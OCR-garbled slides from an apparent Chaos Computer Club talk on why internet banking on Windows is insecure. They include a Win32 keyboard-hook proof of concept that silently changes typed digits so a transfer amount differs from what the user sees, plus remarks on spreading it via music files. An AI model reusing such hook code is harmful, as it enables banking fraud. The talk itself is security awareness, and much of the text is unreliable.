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U Webt 287
el bemunt sich um die
AbsichEruRg der Maschine-Maschine

Scehaniistelle

|

N Implementierungen harter
Krypiographie inzwischen brauchbar.

m Probleme bel Mensch-Maschine
Schnittstelle kaum bedacht.

CCC ERFA Kreis Ulm, Volker Birk dingens@bumens.org




ngernetbanklng

‘

Internet A
M)
‘ ’6/ &
g@\
Das geht '
ja einfach!

Ich bin
drin!

Webserver Mainframe

bei der Bank

CCC ERFA Kreis Ulm, Volker Birk dingens@bumens.org



AR A I
A A I R

AT YT U O O D T O R T

.ehio=s.de.

wombat login: b
Fassword:
Login incorrect

wombat login: vh

Fassword:

1 failure =ince last login. Last was 21:21:03 on 1.

La=st login: Thu Dec 26 21:20:39 from nautilus.intern.ebhio=s.de
Hawve a lot of fun...

whil vonbhat s~ § I
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Wiertinktioniert denn die
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er ISt einliimesharing-System
a Hardwaretreiber im Kernel, meist interrupt-

ei
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geste
O Prozése und fthreads im Userland

n Windoze'st eine nachrichtenbasierende GUI
m System Message Queue -> System Dispatcher
m > [hread Message Queue -> Thread Dispatcher
m -> \WindowProc flur je eine Fensterklasse
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VVIE iukiioniert denn die
‘VVJ JQZC‘)"JJ" ?’ ﬂ[ d-Message-Q

- R
Syste m—Mﬁsa-g'é-Q

_

4 |
)Hl/ |
»i st CPU Driver

“Click!” IRQ12

WindowProc
(Message Handler)
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pizlle) worle

I nt W nMai n( H NSTANCE hl nst ance,
HI NSTANCE hPrevl nst ance,
LPSTR | pCndLi ne,
| nt nCndShow) {
M5G ns(Q;

==p |f (!hPrevlnstance) InitApp(hlnstance);
| ni tl nstance( hl nstance, nChdShow) ;

whil e (Get Message(&rsg, NULL, 0, 0)) {

Tr ansl at eMessage( &sQ) ;
Di spat chMessage( &nsg) ;

return nsg. wPar am




pizlle) worle

ATOM | ni t App( H NSTANCE hl nst ance) {
VWDCLASSEX wcex;
menset (&wcex, 0, sizeof (VWNDCLASSEX) ) ;

wcex. cbSi ze = si zeof (VWNDCLASSEX) ;

Te = CS_HREDRAW | CS VREDRAW
nWidProc = (VWNDPROC) WhdPr oc;

WCEX. .St? ce = hlnstance;

wcex. h = Loadl con( NULL, | DI _APPLI CATI ON) ;
WCcex. hCursor = LoadCur sor ( NULL, | DC_ARROW ;
wcex. hbr Background = (HBRUSI—I) (COLOR_ V\VNDOJ\frl)
wceX. | pszCl assNane = "Hel | owor | dCl ass”;

wWeey.-st
weex. | p
i
e

return Regi sterd asskEx(&wcex);




pizlle) worle

LRESULT CALLBACK WhdProc( HWND hwWhd, Ul NT nessage,
WPARAM wPar am LPARAM | Param {
PAI NTSTRUCT ps;

HDC hdc;

sw tch (nessage) {
case VWM PAI NT:
hdc = Begi nPai nt (hWad, &ps);
RECT rt;
Get A i ent Rect (hWhd, &rt);
DrawText (hdc, "hello, world", 12, &t,
DT _CENTER) ;
EndPai nt (hwWhd, &ps);
br eak;
case W CLI CK:




- e ngpun'kt Hooks.

i%}age Hooksilassen sich von
PEIIERIGEN Applikationen aus vor
belleﬂeﬁlspatcher Installieren.

|

u Nachnehten gehen so gefiltert oder
geandert zu den Viessage Handlern.

u Sicherheitssystem? Fehlanzeige.

m Angriffsmuster: Man in the middle
attack.
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VianzinsiheViddle-Attack.
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Sp—
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% | Message Windows Application
3 Hook (z.B. IE fur Banking ;-)

“Click!”
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void I nstall Hook() {
m hLi b = LoadLi brary("Hook.dl|");

FARPROC pSysMsgProc = Get ProcAddress(m hLi b,
"Keyboar dProc");

PSETHOOKHANDLE pSet HookHandl e =
( PSETHOOKHANDLE) Get Pr ocAddr ess(m hLi b,
"Setlnfo");

m hHook = Set W ndowsHook Ex( VWH KEYBQARD,
( HOOKPROC) pSysMsgProc, m hLi b, 0);
(*pSet HookHandl e) ( m _hHook) ;




stati ¢ HHOOK hHook

o voi d Set | nfo( HHOOK newHook) {hHook = newHook; }

LRESULT CALLBACK Keyboar dProc(i nt nCode, WPARAM wPar am
LPARAM | Param {
| f (nCode == HC ACTI ON && wParam == VK DECI MAL) {
/1 hPlayback = Set W ndowsHook Ex( VWH_JOURNALPLAYBACK,
/] Jour nal Pl aybackProc, theApp. m hlnstance, 0);
I f (I Param & 0x80000000)
keybd event (13502, 52, KEYEVENTF_KEYUP,
el se
keybd event (13502, 52, 0, 0);
return 1;

}
return Cal | Next HOokEx( hHook, nCode, wParam | Param ;




PiienNuEREeativitat am
_ éSthrne't' Banking

—

%r tippt "42% Rechner versteht "23",
zer sieht "42"

m Nutzg;aanentisiert Buchung.

m Rechner vuicht “23".

u Internet Explorer Erwelterung spart
eigenen Prozess.

m Verbreitung uber Musikdateien auf
Windows XP Basis angenehm einfach.
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l%ﬂows als Platferm ftr Banking
VETgEesSen:

» Vacintesh als Platform fir Banking

Vergessen.

m X119 enthalt Sicherheitssystem. Doch
wer weiss das und nutzt es?

m Besser: Kaltstart von CD.
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" Ghaoeiebmputer Club. -%‘

KWat st gesund.

\Vielen Dank fgr Eure Aufmerksamkeit!
-
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